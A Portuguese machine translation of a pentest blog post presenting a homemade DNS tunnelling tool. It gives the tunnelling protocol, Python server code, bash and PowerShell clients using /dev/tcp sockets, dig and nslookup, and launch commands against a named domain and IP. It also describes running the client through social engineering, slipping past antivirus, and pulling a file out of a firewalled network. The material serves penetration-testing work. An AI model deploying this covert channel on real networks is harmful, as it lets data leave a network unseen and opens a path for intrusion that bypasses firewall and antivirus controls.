Tráfego no final do túnel ou DNS no pentest


Oi Nos projetos de teste de penetração, geralmente encontramos redes segmentadas por hardware que são quase completamente isoladas do mundo externo. Às vezes, para resolver esse problema, é necessário encaminhar o tráfego através do único protocolo disponível - DNS. Neste artigo, mostraremos como resolver um problema semelhante em 2018 e quais são as armadilhas encontradas no processo. Os utilitários populares também serão revisados ​​e um lançamento de seu próprio utilitário de código-fonte aberto será apresentado com recursos que geralmente não existem nas ferramentas similares existentes.


O que são túneis DNS


Já existem vários artigos sobre Habré que explicam o que é um tunelamento de DNS. No entanto, um pouco de teoria sobre o encapsulamento de DNS pode ser encontrado no spoiler.


O que é o encapsulamento de DNS?

Acontece que o acesso à rede é fortemente cortado pelo firewall, e você precisa transferir os dados muito mal e, em seguida, a técnica de encapsulamento de DNS vem em socorro.


No diagrama, tudo se parece com isso:


As consultas para DNS, mesmo com as configurações de firewall mais rigorosas, às vezes ainda são aprovadas, e você pode usá-las respondendo-as no servidor localizado no outro lado. A comunicação será extremamente lenta, mas isso é suficiente para penetrar na rede local da organização ou, por exemplo, para acessar urgentemente a Internet via Wi-Fi pago no exterior.


O que é popular no momento


Agora, na Internet, você pode encontrar muitos utilitários para operar essa técnica - cada um com seus próprios recursos e bugs. Selecionamos os cinco mais populares para testes comparativos:


  • dnscat2
  • iodo
  • dns2tcp
  • Heyoka
  • OzymanDNS

Você pode ler mais sobre como os testamos em nosso artigo sobre Hacker . Aqui damos apenas os resultados.



Como você pode ver nos resultados, você pode trabalhar, mas do ponto de vista dos testes de penetração, existem desvantagens:


  • clientes compilados - em máquinas com antivírus, é muito mais fácil executar algo interpretado do que um arquivo binário;
  • trabalho instável no Windows;
  • a necessidade de instalar software adicional em alguns casos.

Devido a essas deficiências, precisávamos desenvolver nossa própria ferramenta, e foi assim que ...


Crie seu próprio utilitário de encapsulamento DNS


Antecedentes


Tudo começou durante o teste interno de um banco. No saguão havia um computador público usado para imprimir documentos, certificados e outros papéis. Nosso objetivo: obter o máximo benefício de uma máquina executando o Windows 7, ter o Kaspersky Anti-Virus integrado e permitir o acesso a apenas determinadas páginas (mas, ao mesmo tempo, era possível resolver os nomes DNS).


Após realizar a análise inicial e obter dados adicionais do carro, desenvolvemos vários vetores de ataque. Os caminhos com a operação da máquina usando programas binários foram imediatamente removidos para o lado, pois o "grande e terrível" "Kaspersky" detectou imediatamente o apagamento de um arquivo executável. No entanto, conseguimos a oportunidade de executar scripts em nome do administrador local, após o qual uma das idéias era apenas a possibilidade de criar um túnel DNS.


Procurando por métodos possíveis, encontramos um cliente no PowerShell para dnscat2 (escrevemos sobre isso anteriormente). Mas, no final, o máximo que conseguimos produzir foi estabelecer uma conexão por um curto período de tempo, após o qual o cliente travou.


Isso, para dizer o mínimo, nos incomodou bastante, pois nessa situação a presença de um cliente interpretado era simplesmente necessária. Na verdade, esse foi um dos motivos para o desenvolvimento de nossa própria ferramenta de encapsulamento de DNS.


Exigências


Nossos principais requisitos para nós mesmos são:


  • a presença de clientes universais (na medida do possível) e interpretados para sistemas Unix e Windows. Para os clientes, bash e Powershell foram selecionados, respectivamente. No futuro, um cliente Perl para unix está planejado;
  • a capacidade de encaminhar tráfego de um aplicativo específico;
  • Suporte para vários clientes para um usuário.

Arquitetura do projeto


Com base nos requisitos, iniciamos o desenvolvimento. Em nossa opinião, o utilitário consiste em 3 partes: um cliente na máquina interna, um servidor DNS e um pequeno proxy entre o aplicativo pentester e o servidor DNS.



Para começar, decidimos encaminhar o túnel através dos registros TXT.


O princípio de operação é bastante simples:


  • Pentester lança um servidor DNS.
  • Um pentester (ou usuário, através da engenharia social) executa um cliente em uma máquina interna. No cliente, existem parâmetros como o nome e o domínio do cliente, além da possibilidade de especificar diretamente o endereço IP do servidor DNS.
  • Um pentester (de uma rede externa) inicia um proxy, onde indica o endereço IP do servidor DNS, bem como a porta onde bater, os destinos IP (por exemplo, ssh na rede interna onde o cliente está sentado) e, consequentemente, a porta de destino. Também é necessário um ID do cliente, que pode ser obtido adicionando a chave --clients .
  • O Pentester inicia a aplicação de seu interesse, apontando a porta proxy para o host local.

Protocolo de comunicação


Considere um protocolo bastante simples para comunicação entre um servidor e um cliente.


Registo


Quando o cliente inicia, ele se registra no servidor, solicitando um registro TXT através de um subdomínio do seguinte formato:


0<7 random chars><client name>.<your domain>


0 - chave de registro
<7 random chars> - para evitar o cache de registros DNS
<client name> - o nome dado ao cliente na inicialização
<your domain> - por exemplo: xakep.ru
Em caso de registro bem-sucedido, o cliente recebe uma mensagem de sucesso na resposta TXT, bem como o ID atribuído a ele, que ele continuará usando.


Ciclo principal


Após o registro, o cliente começa a consultar o servidor sobre a disponibilidade de novos dados no formato


1<7 random chars><id>.<your domain>


Se houver novos dados, na resposta TXT, eles serão recebidos no formato


<id><target ip>:<target port>:<data in base64> , caso contrário, o <id>ND é fornecido.


Ciclo de carregamento de dados


O cliente em um loop verifica se os dados vieram do nosso <target> . Se houver uma resposta, lemos, do que chegou, um buffer de tamanho N Kb, divida-o em blocos de 250-<len_of_your_domain>-< > e envie dados bloco por bloco no formato:
2<4randomchars><id><block_id>.<data>.<your_domain>


Se a transferência do bloco for bem-sucedida, ficaremos OK com alguns dados sobre o bloco transferido; no caso da conclusão da transferência do buffer, obteremos ENDBLOCK .


Servidor DNS


O servidor DNS de encapsulamento foi escrito em Python3 usando a biblioteca dnslib, o que facilita a criação de seu próprio resolvedor DNS herdando o objeto dnslib.ProxyResolver e substituindo o método resolve ().


O excelente dnslib permite que você crie seu próprio proxyDNS muito rapidamente:


Um pouco de código do servidor
 class Resolver(ProxyResolver): def __init__(self, upstream): super().__init__(upstream, 53, 5) def resolve(self, request, handler): #   domain_request = DOMAIN_REGEX.findall(str(request.q.qname)) type_name = QTYPE[request.q.qtype] if not domain_request: #  DNS ,     ,    : ,  google return super().resolve(request, handler) #  ,    result reply = request.reply() reply.add_answer(RR( rname=DNSLabel(str(request.q.qname)), rtype=QTYPE.TXT, rdata=dns.TXT(wrap(result, 255)), #      255 ,   ,   ttl=300 )) if reply.rr: return reply if __name__ == '__main__': port = int(os.getenv('PORT', 53)) upstream = os.getenv('UPSTREAM', '8.8.8.8') #       resolver = Resolver(upstream) udp_server = DNSServer(resolver, port=port) tcp_server = DNSServer(resolver, port=port, tcp=True) udp_server.start_thread() tcp_server.start_thread() try: while udp_server.isAlive(): sleep(1) except KeyboardInterrupt: pass 

Em resolve (), definimos as respostas às consultas DNS do cliente: registro, solicitação de novos registros, dados de postagem e exclusão do usuário.


Armazenamos informações sobre os usuários no banco de dados SQLite, a área de transferência de dados está localizada na RAM e possui a seguinte estrutura, na qual a chave é o número do cliente:


 { { "target_ip": "192.168.1.2", # IP “” -    "target_port": "", #  “” "socket": None, #       "buffer": None, #      "upstream_buffer": b'' #      }, ... } 

Para colocar os dados do pentester no buffer, escrevemos um pequeno "receptor", que é iniciado em um fluxo separado. Ele captura conexões do pentester e executa o roteamento: para qual cliente enviar solicitações.


Antes de iniciar o servidor, o usuário precisa definir apenas um parâmetro: DOMAIN_NAME - o nome do domínio com o qual o servidor funcionará.


Bash Client


O Bash foi escolhido para escrever um cliente para sistemas Unix, como costuma ser encontrado em sistemas Unix modernos. O Bash oferece a capacidade de conectar-se através de / dev / tcp /, mesmo com direitos de usuário não privilegiados.


Não analisaremos cada pedaço de código em detalhes, apenas daremos uma olhada nos pontos mais interessantes.
O princípio do cliente é simples. Para se comunicar com o DNS, o utilitário dig padrão é usado. O cliente se registra no servidor, após o qual, no ciclo perpétuo, começa a atender solicitações usando o protocolo descrito anteriormente. Sob o spoiler mais.


Leia mais sobre o cliente Bash

Uma verificação está em andamento para determinar se uma conexão foi estabelecida e, em caso afirmativo, a função de resposta é executada (lendo os dados recebidos do destino, dividindo e enviando para o servidor).


Depois disso, é verificado se há novos dados do servidor. Se forem encontrados, verificamos se a conexão deve ser interrompida. A diferença ocorre quando recebemos informações sobre o destino com ip 0.0.0.0 e porta 00. Nesse caso, limpamos o descritor de arquivo (se não estiver aberto, não haverá problemas) e alteramos o destino do ip para o 0.0.0.0 recebido.


Mais adiante, verificamos se é necessário estabelecer uma nova conexão. Assim que as seguintes mensagens começarem a nos enviar dados para o destino, nós, caso o ip anterior não corresponda ao atual (será assim após a redefinição), alteramos o destino para um novo e estabelecemos uma conexão através do comando exec 3<>/dev/tcp/$ip/$port , onde $ip é o destino, $port é a porta de destino.
Como resultado, se a conexão já estiver estabelecida, os dados recebidos serão decodificados e voarão para o descritor por meio do comando echo -e -n ${data_array[2]} | base64 -d >&3 echo -e -n ${data_array[2]} | base64 -d >&3 , onde ${data_array[2]} é o que obtemos do servidor.


 while : do if [[ $is_set = 'SET' ]] then reply fi data=$(get_data $id) if [[ ${data:0:2} = $id ]] then if [[ ${data:2:2} = 'ND' ]] then sleep 0.1 else IFS=':' read -r -a data_array <<< $data data=${data_array[0]} is_id=${data:0:2} ip=${data:2} port=${data_array[1]} if [[ $is_id = $id ]] then if [[ $ip = '0.0.0.0' && $port = '00' ]] then exec 3<&- exec 3>&- is_set='NOTSET' echo "Connection OFF" last_ip=$ip fi if [[ $last_ip != $ip ]] then exec 3<>/dev/tcp/$ip/$port is_set='SET' echo "Connection ON" last_ip=$ip fi if [[ $is_set = 'SET' ]] then echo -e -n ${data_array[2]} | base64 -d >&3 fi fi fi fi done 

Agora considere o envio da função de resposta. Primeiro, lemos 2048 bytes do descritor e os codificamos imediatamente através de $(timeout 0.1 dd bs=2048 count=1 <&3 2> /dev/null | base64 -w0 ). Então, se a resposta estiver vazia, sairemos da função, caso contrário, iniciaremos a operação de divisão e envio. Observe que após a formação da solicitação de envio via dig, a entrega é verificada com êxito. Se for bem-sucedido, saia do ciclo ou tente até que ele funcione.


 reply() { response=$(timeout 0.1 dd bs=2048 count=1 <&3 2> /dev/null | base64 -w0) if [[ $response != '' ]] then debug_echo 'Got response from target server ' response_len=${#response} number_of_blocks=$(( ${response_len} / ${MESSAGE_LEN})) if [[ $(($response_len % $MESSAGE_LEN)) = 0 ]] then number_of_blocks-=1 fi debug_echo 'Sending message back...' point=0 for ((i=$number_of_blocks;i>=0;i--)) do blocks_data=${response:$point:$MESSAGE_LEN} if [[ ${#blocks_data} -gt 63 ]] then localpoint=0 while : do block=${blocks_data:localpoint:63} if [[ $block != '' ]] then dat+=$block. localpoint=$((localpoint + 63)) else break fi done blocks_data=$dat dat='' point=$((point + MESSAGE_LEN)) else blocks_data+=. fi while : do block=$(printf %03d $i) check_deliver=$(dig ${HOST} 2$(generate_random 4)$id$block.$blocks_data${DNS_DOMAIN} TXT | grep -oP '\"\K[^\"]+') if [[ $check_deliver = 'ENDBLOCK' ]] then debug_echo 'Message delivered!' break fi IFS=':' read -r -a check_deliver_array <<< $check_deliver deliver_data=${check_deliver_array[0]} block_check=${deliver_data:2} if [[ ${check_deliver_array[1]} = 'OK' ]] && [[ $((10#${deliver_data:2})) = $i ]] && [[ ${deliver_data:0:2} = $id ]] then break fi done done else debug_echo 'Empty message from target server, forward the next package ' fi } 

Cliente Powershell:


Como precisávamos de interpretabilidade total e trabalhamos na maioria dos sistemas atuais, o cliente base para Windows é o utilitário nslookup padrão para comunicação via DNS e o objeto System.Net.Sockets.TcpClient para estabelecer uma conexão na rede interna.


Tudo também é muito simples. Cada iteração do loop é uma chamada ao comando nslookup usando o protocolo descrito anteriormente.


Por exemplo, para registrar, execute o comando:
$text = &nslookup -q=TXT $act$seed$clientname$Dot$domain $server 2>$null
Se ocorrerem erros, não os mostramos, enviando os valores do descritor de erro para $ null.


O nslookup nos retorna uma resposta semelhante:


Depois disso, precisamos esticar todas as linhas entre aspas, pelas quais passamos por elas com uma temporada regular:


$text = [regex]::Matches($text, '"(.*)"') | %{$_.groups[1].value} | %{$_ -replace '([ "\t]+)',$('') }


Agora você pode processar os comandos recebidos.
Sempre que o endereço IP da “vítima” é alterado, um cliente TCP é criado, uma conexão é estabelecida e a transferência de dados é iniciada. No servidor DNS, as informações são decodificadas em base64 e os bytes são enviados para a vítima. Se a “vítima” respondeu alguma coisa, então codificamos, dividimos em partes e executamos solicitações de pesquisa de acordo com o protocolo. Só isso.
Quando você pressiona Ctrl + C, uma solicitação para excluir o cliente é executada.


Proxy:


O proxy para o pentester é um pequeno servidor proxy em python3.



Nos parâmetros que você precisa especificar o IP do servidor DNS, a porta na qual se conectar ao servidor, a opção --clients retorna uma lista de clientes registrados, --target - target ip , --target_port - target port --target - target ip , --target_port - target port , --client - id do cliente com o qual iremos trabalho (visto após a execução de --clients ), - --send_timeout - timeout para enviar mensagens do aplicativo.


Quando iniciado com o parâmetro --clients , o proxy envia uma solicitação ao servidor no formato \x00GETCLIENTS\n .
No caso em que começamos o trabalho, ao conectar, enviamos uma mensagem no formato \x02RESET:client_id\n para redefinir a conexão anterior. Depois de enviarmos informações sobre nosso destino: \x01client_id:ip:port:\n
Além disso, ao enviar mensagens para o cliente, enviamos bytes no formato \x03data e simplesmente enviamos bytes brutos para o aplicativo.
Além disso, o proxy suporta o modo SOCKS5.


Que dificuldades podem surgir?


Como em qualquer mecanismo, o utilitário pode falhar. Não devemos esquecer que o túnel DNS é uma coisa fina e muitos fatores podem influenciar sua operação, desde a arquitetura da rede até a qualidade da conexão com o servidor de produção.


Durante o teste, ocasionalmente observamos pequenas falhas. Por exemplo, em altas velocidades de impressão, trabalhando com ssh, vale a pena definir o parâmetro --send_timeout , pois caso contrário, o cliente começará a congelar. Além disso, às vezes a conexão pode não ser estabelecida na primeira vez, mas pode ser facilmente tratada reiniciando o proxy, pois a conexão será redefinida durante a nova conexão. Também houve problemas com a resolução do domínio ao trabalhar com proxychains, mas isso também é corrigível se você especificar um parâmetro adicional para proxychains. É importante notar que, no momento, o utilitário não controla a aparência de solicitações desnecessárias dos servidores DNS em cache, portanto, a conexão pode falhar algumas vezes; no entanto, isso é tratado novamente usando o método descrito acima.


Lançamento


Configure registros NS no domínio:



Aguardamos até que o cache seja atualizado (geralmente até 5 horas).


Iniciamos o servidor:
python3 ./server.py --domain oversec.ru


Inicie o cliente (Bash):
bash ./bash_client.sh -d oversec.ru -n TEST1


Iniciamos o cliente (Win):
PS:> ./ps_client.ps1 -domain oversec.ru -clientname TEST2


Vamos ver a lista de clientes conectados:
python3 ./proxy.py --dns 138.197.178.150 --dns_port 9091 --clients


Inicie o proxy:
python3 ./proxy.py --dns 138.197.178.150 --dns_port 9091 --socks5 --localport 9090 --client 1


Teste:


Depois que o servidor e pelo menos um cliente foram iniciados, podemos acessar o proxy como se fosse nossa máquina remota.
Vamos tentar simular a seguinte situação: o pentester deseja baixar um arquivo do servidor da rede local da organização protegida pelo firewall, enquanto usava métodos de engenharia social, ele conseguiu forçar o cliente DNS a executar dentro da rede e descobrir a senha do servidor SSH.


O Pentester em sua máquina inicia um proxy, indicando o cliente necessário e pode fazer chamadas semelhantes que serão enviadas ao cliente e do cliente para a rede local.
scp -P9090 -C root@localhost:/root/dnserver.py test.kek


Vamos ver o que aconteceu:



No canto superior esquerdo, você pode ver as consultas DNS que chegam ao servidor, do canto superior direito - tráfego proxy, do canto inferior esquerdo - tráfego do cliente e do canto inferior direito - nosso aplicativo. A velocidade ficou bastante decente para o túnel DNS: 4.9Kb / s usando compactação.


Quando lançado sem compactação, o utilitário mostrou uma velocidade de 1,8 kb / s:



Vamos examinar atentamente o tráfego do servidor DNS, para isso usamos o utilitário tcpdump.
tcpdump -i eth0 udp port 53



Vemos que tudo está de acordo com o protocolo descrito: o cliente consulta constantemente o servidor se possui novos dados para esse cliente usando solicitações no formato 1c6Zx9Vi39.oversec.ru . Se houver dados, o servidor responderá com um conjunto de registros TXT, caso contrário,% client_num% ND ( 39ND ). O cliente envia informações para o servidor usando os tipos de consultas 28sTx39003.MyNTYtZ2NtQG9wZW5zc2guY29tAAAAbGNoYWNoYTIwLXBvbHkxMzA1QG9wZW5zc.2guY29tLGFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczEyOC1n.Y21Ab3BlbnNzaC5jb20sYWVzMjU2LWdjbUBvcGVuc3NoLmNvbQAAANV1bWFjLTY.0LWV0bUBvcGVuc3NoLmNvbSx1bWFjLTEyOC1.oversec.ru.


Nos vídeos a seguir, você pode ver claramente como o utilitário funciona em conjunto com o meterpreter e no modo SOCKS5.




O resultado:


Vamos resumir um pouco. Quais recursos esse desenvolvimento possui e por que recomendamos usá-lo?


  1. Clientes interpretados no Bash e no Powershell: nenhum EXE-shnikov e ELF-s que podem ser difíceis de executar.
  2. Estabilidade da conexão: nos testes, nosso utilitário se comportou muito mais estável e, se houver algum erro, você poderá reconectar, enquanto o cliente não travar, como foi o caso do dnscat2, por exemplo.
  3. Alta velocidade para o túnel DNS: é claro que a velocidade não atinge o iodo, mas existe uma solução compilada de nível muito mais baixo.
  4. Não são necessários direitos de administrador: o cliente Bash funciona sem direitos de administrador e, às vezes, os scripts do Powershell são proibidos pelas políticas de segurança, mas isso é bastante simples.
  5. Existe um modo proxy socks5, que permite fazer curl -v --socks5 127.0.0.1:9011 https://ident.me ou executar o nmap em toda a rede interna.

O código do utilitário está disponível aqui.

Source: https://habr.com/ru/post/pt432078/


All Articles